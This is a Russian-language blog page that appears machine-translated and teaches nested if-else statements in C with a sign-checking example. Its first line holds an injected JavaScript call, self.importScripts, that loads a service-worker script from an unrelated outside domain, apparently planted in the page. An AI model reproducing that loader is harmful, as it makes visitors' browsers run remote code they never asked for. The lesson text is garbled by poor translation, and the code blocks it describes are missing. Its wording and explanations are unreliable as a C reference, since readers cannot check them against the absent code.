google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Вложено ли еще в C


Здесь вы узнаете о вложенных, если еще в C
В предыдущем уроке мы узнали об операторах if-else . Эти утверждения предоставляют гибкость для проверки двух возможных лиц ответа. Но также возможно, что будет более двух вариантов ответа. Чтобы сделать вещи более точными, возьмите пример школьной системы оценок. Предположим, если вы хотите создать программу, которая будет печатать оценку ученика на основе его / ее процентных оценок. Тогда в этом случае вам понадобится как минимум 4 условия для проверки. Для того, чтобы эти вещи работали, мы должны использовать вложенные операторы if-else.


Вложено ли еще в C

Как следует из названия, вложение означает написание операторов if-else внутри другого блока if или else. В основном нет предела вложенности. Но обычно программисты вкладывают только до 3 блоков.
Общая форма вложенных операторов if-else приведена ниже.
Это немного сложная структура для начинающих, поэтому давайте попробуем понять ее общую форму.
Как видите, я вложил еще один блок if-else в один блок else. Так что пока выполняем в таком виде. Компилятор сначала проверяет условие, если (основной или первый) блок. Если произойдет сбой, он перейдет к блоку else. В блоке else он проверит условие вторичного оператора if, если он также потерпит неудачу, он выполнит операторы в блоке else.
В нашем общем виде я вложил блок if-else в блок else. Вы также можете вложить этот оператор if-else в первый оператор if. Это тоже будет работать.
Теперь давайте попробуем реализовать наши знания в одной программе.
Вопрос: взять один номер от пользователя. Проверьте это, является ли это отрицательным, нулевым или положительным и напечатайте сообщение для этого.

Выход

Вложенный if-else в C - Вывод

объяснение

Я специально написал ту программу, которая похожа на последнюю . Как я хочу показать важность вложенности if-else внутри C-программирования.
Начальные утверждения программы самоочевидны. Поэтому я начну свое объяснение с заявления if-else.
  • В первом операторе if я дал условие, т.е. num <0, он проверит число, отрицательное оно или нет. Если он отрицательный, то будет напечатано сообщение «число отрицательно». Но если условие не выполняется, оно пропустит операторы в блоке if.
  • Я забыл написать фигурные скобки {} после оператора if? Программа также будет работать, удалив их в нашем случае. Это связано с тем, что по умолчанию для оператора if используется один оператор после него. Поскольку я написал только одно утверждение, нет необходимости использовать в нем фигурные скобки. Однако, если вы пишете более одного оператора под этим блоком, вам нужно вставить фигурные скобки.
  • После этого я дал еще один блок. И внутри этого еще блока я вложил один блок if-else. Это означает, что после входа в блок управления else блок проверит состояние второго блока if. Если условие оказывается верным, то будет напечатано сообщение «число равно 0». В противном случае элемент управления перейдет в блок else и напечатает «число положительное».
  • В приведенной выше программе вы можете четко видеть вторичный блок if-else. Потому что я отступил во 2-й блок if-else, чтобы повысить читаемость программы. Поэтому рекомендуется использовать отступ при использовании вложенного if-else.
Прокомментируйте ниже, если у вас есть вопросы или вы нашли что-то неправильное в вышеприведенном уроке для вложенного, если еще в C.

Комментариев нет:

Отправить комментарий